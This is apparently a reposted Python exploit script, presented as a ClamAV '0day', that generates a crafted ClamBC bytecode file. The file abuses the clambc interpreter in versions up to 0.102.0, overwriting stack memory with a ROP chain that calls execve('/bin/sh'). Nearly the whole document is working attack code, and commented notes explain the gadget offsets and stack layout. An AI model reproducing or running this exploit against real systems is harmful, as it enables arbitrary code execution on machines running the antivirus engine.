ClamAV 反病毒软件 0Day Exploit

下载地址:github

#!/usr/bin/python
'''
Finished  : 22/07/2019
Pu8lished : 31/10/2019
Versi0n   : Current    (<= 0.102.0)
Result    : Just for fun.
"Because of my inability to change the world."
In 2002, ClamAV got introducted as a solution for malwares on UNIX-based systems, built on
a signature-based detection approach, and still undergoes active-development. by that time,
LibClamAV only held 2 binaries, and expanded to 5 at present.
ClamBC were exceptionally more complex and served as a testing tool for bytecodes, majorly
validating and interpreting the code therein, and the information provided didn't indicate
nor explain the presence of its internal mechanisms.
The availability of the source-code and the lack of documentation led to the establishment
of this paper, it was certainly not an attempt to escalate privileges, but rather a sought
-after experience, and source of entertainment that grants the thrill of a challenge.
Due to the considerable amount of time spent in the analysis, the dissection of the engine
was imminent, whilst significantly broadening our perception on its internal structures.
The trial and error process produced valuable information, crashes illuminated latent bugs,
effectively increasing the attack surface, and magnifying the possibility for exploitation.
> ./exploit.py
> clambc --debug exploit
[SNIP]
$
'''
names = ['test1',
'read',
'write',
'seek',
'setvirusname',
'debug_print_str',
'debug_print_uint',
'disasm_x86',
'trace_directory',
'trace_scope',
'trace_source',
'trace_op',
'trace_value',
'trace_ptr',
'pe_rawaddr',
'file_find',
'file_byteat',
'malloc',
'test2',
'get_pe_section',
'fill_buffer',
'extract_new',
'read_number',
'hashset_new',
'hashset_add',
'hashset_remove',
'hashset_contains',
'hashset_done',
'hashset_empty',
'buffer_pipe_new',
'buffer_pipe_new_fromfile',
'buffer_pipe_read_avail',
'buffer_pipe_read_get',
'buffer_pipe_read_stopped',
'buffer_pipe_write_avail',
'buffer_pipe_write_get',
'buffer_pipe_write_stopped',
'buffer_pipe_done',
'inflate_init',
'inflate_process',
'inflate_done',
'bytecode_rt_error',
'jsnorm_init',
'jsnorm_process',
'jsnorm_done',
'ilog2',
'ipow',
'iexp',
'isin',
'icos',
'memstr',
'hex2ui',
'atoi',
'debug_print_str_start',
'debug_print_str_nonl',
'entropy_buffer',
'map_new',
'map_addkey',
'map_setvalue',
'map_remove',
'map_find',
'map_getvaluesize',
'map_getvalue',
'map_done',
'file_find_limit',
'engine_functionality_level',
'engine_dconf_level',
'engine_scan_options',
'engine_db_options',
'extract_set_container',
'input_switch',
'get_environment',
'disable_bytecode_if',
'disable_jit_if',
'version_compare',
'check_platform',
'pdf_get_obj_num',
'pdf_get_flags',
'pdf_set_flags',
'pdf_lookupobj',
'pdf_getobjsize',
'pdf_getobj',
'pdf_getobjid',
'pdf_getobjflags',
'pdf_setobjflags',
'pdf_get_offset',
'pdf_get_phase',
'pdf_get_dumpedobjid',
'matchicon',
'running_on_jit',
'get_file_reliability',
'json_is_active',
'json_get_object',
'json_get_type',
'json_get_array_length',
'json_get_array_idx',
'json_get_string_length',
'json_get_string',
'json_get_boolean',
'json_get_int']
o     = names.index('buffer_pipe_new') + 1
k     = names.index('buffer_pipe_write_get') + 1
l     = names.index('debug_print_str') + 1
m     = names.index('malloc') + 1
c     = 0
for name in names:
names[c] = name.encode('hex')
c += 1
def cc(n):
v = chr(n + 0x60)
return v
def cs(s):
t = ''
for i in xrange(0, len(s), 2):
u  = int(s[i], 16)
l  = int(s[i + 1], 16)
for i in  [u, l]:
if((i >= 0 and i <= 0xf)):
continue
print 'Invalid string.'
exit(0)
t += cc(l) + cc(u)
return t
def wn(n, fixed=0, size=0):
if n is 0:
return cc(0)
t  = ''
c  = hex(n)[2:]
l  = len(c)
if (l % 2) is 1:
c = "0" + c
r  = c[::-1]
if(l <= 0x10):
if not fixed:
t = cc(l)
i = 0
while i < l:
t += cc(int(r[i], 16))
i += 1
else:
print 'Invalid number.'
exit(0)
if size != 0:
t = t.ljust(size, '`')
return t
def ws(s):
t  = '|'
e = s[-2:]
if(e != '00'):
print '[+] Adding null-byte at the end of the string..'
s += '00'
l  = (len(s) / 2)
if (len(s) % 2) is 1:
print 'Invalid string length.'
exit(0)
t += wn(l)
t += cs(s)
return t
def wt(t):
if t < (num_types + 0x45):
v = wn(t)
return v
else:
print 'Invalid type.'
exit(0)
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096):
global flimit, num_types
if maxfunc is 0:
maxfunc = flimit
if(minfunc > flimit or  maxfunc < flimit):
print 'Invalid minfunc and/or maxfunc.'
exit(0)
header   = "ClamBC"
header  += wn(0x07)		   			# formatlevel(6, 7)
header  += wn(0x88888888)		    # timestamp
header  += ws("416c69656e")			# sigmaker
header  += wn(0x00)                 # targetExclude
header  += wn(0x00)					# kind
header  += wn(minfunc)				# minfunc
header  += wn(maxfunc)				# maxfunc
header  += wn(0x00)					# maxresource
header  += ws("00")					# compiler
header  += wn(num_types + 5)		# num_types
header  += wn(num_func)				# num_func
header  += wn(0x53e5493e9f3d1c30)   # magic1
header  += wn(0x2a, 1)				# magic2
header  += ':'
header  += str(linelength)
header  += chr(0x0a)*2
return header
def prepare_types(contained, type=1, nume=1):
global num_types
types    = "T"
types   += wn(0x45, 1)				 # start_tid(69)
for i in range(0, num_types):
types   += wn(type[i], 1)			 # kind
if type[i] in [1, 2, 3]:
# Function, PackedStruct, Struct
types += wn(nume[i])			 # numElements
for j in range(0, nume[i]):
types += wt(contained[i][j]) # containedTypes[j]
else:
# Array, Pointer
if type[i] != 5:
types += wn(nume[i])		 # numElements
types += wt(contained[i][0])	 # containedTypes[0]
types   += chr(0x0a)
return types
def prepare_apis(calls=1):
global maxapi, names, ids, tids
if(calls > max_api):
print 'Invalid number of calls.'
exit(0)
apis     = 'E'
apis    += wn(max_api)				 # maxapi
apis    += wn(calls)				 # calls(<= maxapi)
for i in range(0, calls):
apis += wn(ids[i])				 # id
apis += wn(tids[i])				 # tid
apis += ws(names[ids[i] - 1])	 # name
apis    += chr(0x0a)
return apis
def prepare_globals(numglobals=1):
global max_globals, type, gval
globals  = 'G'
globals += wn(max_globals)			 # maxglobals
globals += wn(numglobals)			 # numglobals
for i in range(0, numglobals):
globals += wt(type[i])			 # type
for j in gval[i]:				 # subcomponents
n        = wn(j)
globals += chr(ord(n[0]) - 0x20)
globals += n[1:]
globals += cc(0)
globals += chr(0x0a)
return globals
def prepare_function_header(numi, numbb, numa=1, numl=0):
global allo
if numa > 0xf:
print 'Invalid number of arguments.'
exit(0)
fheader  = 'A'
fheader += wn(numa, 1)				 # numArgs
fheader += wt(0x20)					 # returnType
fheader += 'L'
fheader += wn(numl)					 # numLocals
for i in range(0, numa + numl):
fheader += wn(type[i])			 # types
fheader += wn(allo[i], 1)		 # | 0x8000
fheader += 'F'
fheader += wn(numi)					 # numInsts
fheader += wn(numbb)				 # numBB
fheader += chr(0x0a)
return fheader
flimit      = 93
max_api     = 100
max_globals = 32773
num_types   = 6
# Header parsing
w    = initialize_header(num_func=0x1)
# Types parsing
cont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]
type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]
num  = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]
w   += prepare_types(cont, type, num)
# API parsing
ids  = [o, k, l, m]
tids = [71, 72, 73, 74]
w   += prepare_apis(0x4)
'''
# crash @ id=0
'''
# Globals parsing
type = [0x45]
gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]
w   += prepare_globals(0x1)
# Function header parsing
type = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]
allo = [   1,    0,    0,    0,    0,    0,    0]
w	+= prepare_function_header(35, 0x1, 0x0, 0x7)
# BB parsing
p  = 'B'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += '@d'
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Nobbfifnfobcghfh'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'C`fcd'
# LOAD Var #2 = ([Var #1])
p += wn(0x40)
p += wn(0x2)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #2 -= 0xd260
p += wn(0x40)
p += wn(0x2)
p += wn(0x2, 1, 2)
p += wn(0x2)
p += 'D`fbmd'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
# LOAD Var #3 = ([Var #1])
p += wn(0x40)
p += wn(0x3)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #3 -= 0x10
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'B`ad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
# LOAD Var #4 = ([Var #1])
p += wn(0x40)
p += wn(0x4)
p += wn(0x27, 1)
p += wn(0x1)
# SUB Var #4 -= 0x190
p += wn(0x40)
p += wn(0x4)
p += wn(0x2, 1, 2)
p += wn(0x4)
p += 'C`iad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhcd'
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhdd'
# ADD Var #3 += 0x3
p += wn(0x40)
p += wn(0x3)
p += wn(0x2, 1, 2)
p += wn(0x3)
p += 'Acd'
# STORE (Var #3 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x3)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhbd'
# ADD Var #5 += Var #2 + 0xcbda
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Djmkld'
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`bd'
# STORE (Var #4 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x4)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Bhad'
# ADD Var #5 += Var #2 + 0x99dc
p += wn(0x40)
p += wn(0x5)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dlmiid'
# STORE (Var #5 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x5)
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`ad'
# STORE (0x3b -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += 'Bkcd'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`cd'
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'B`dd'
# STORE (0x0 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += '@d'
p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)
p += wn(0x0)
p += wn(0x1)
p += wn(0x24, 1)
p += wn(0x46)
p += wn(0x0)
p += 'Ahd'
# ADD Var #2 += 0x6d68
p += wn(0x40)
p += wn(0x2)
p += wn(0x1, 1, 2)
p += wn(0x2)
p += 'Dhfmfd'
# STORE (Var #2 -> Var #1)
p += wn(0x40)
p += wn(0x0)
p += wn(0x26, 1)
p += wn(0x2)
p += wn(0x1)
'''
0x99dc : pop rdi ; ret
0xcbda : pop rsi ; ret
0x6d68 : pop rax ; ret
Var #2 = text_base
Var #3 = syscall       (+3: pop rdx; ret)
Var #4 = "/bin/sh\x00"
pop rax; ret; o  0x8
59            o  0x10
pop rdi; ret; o  0x18
sh; address   o  0x20
pop rsi; ret; o  0x28
0x0           o  0x30
pop rdx; ret; o  0x38
0x0           o  0x40
syscall       o  0x48
'''
# COPY Var #6 = (0x5a90050f(o`e``ije))
p += wn(0x20)
p += wn(0x0)
p += wn(0x22, 1)
p += 'Ho`e``ijeh'
p += wn(0x6)
p += 'T'
p += wn(0x13, 1)
p += wn(0x20)
p += wn(0x6)
p += 'E'
w += p
f  = open("exploit", "w")
f.write(w)
f.close()
print '[+] Generated payload'
'''
twitter:@momika233
'''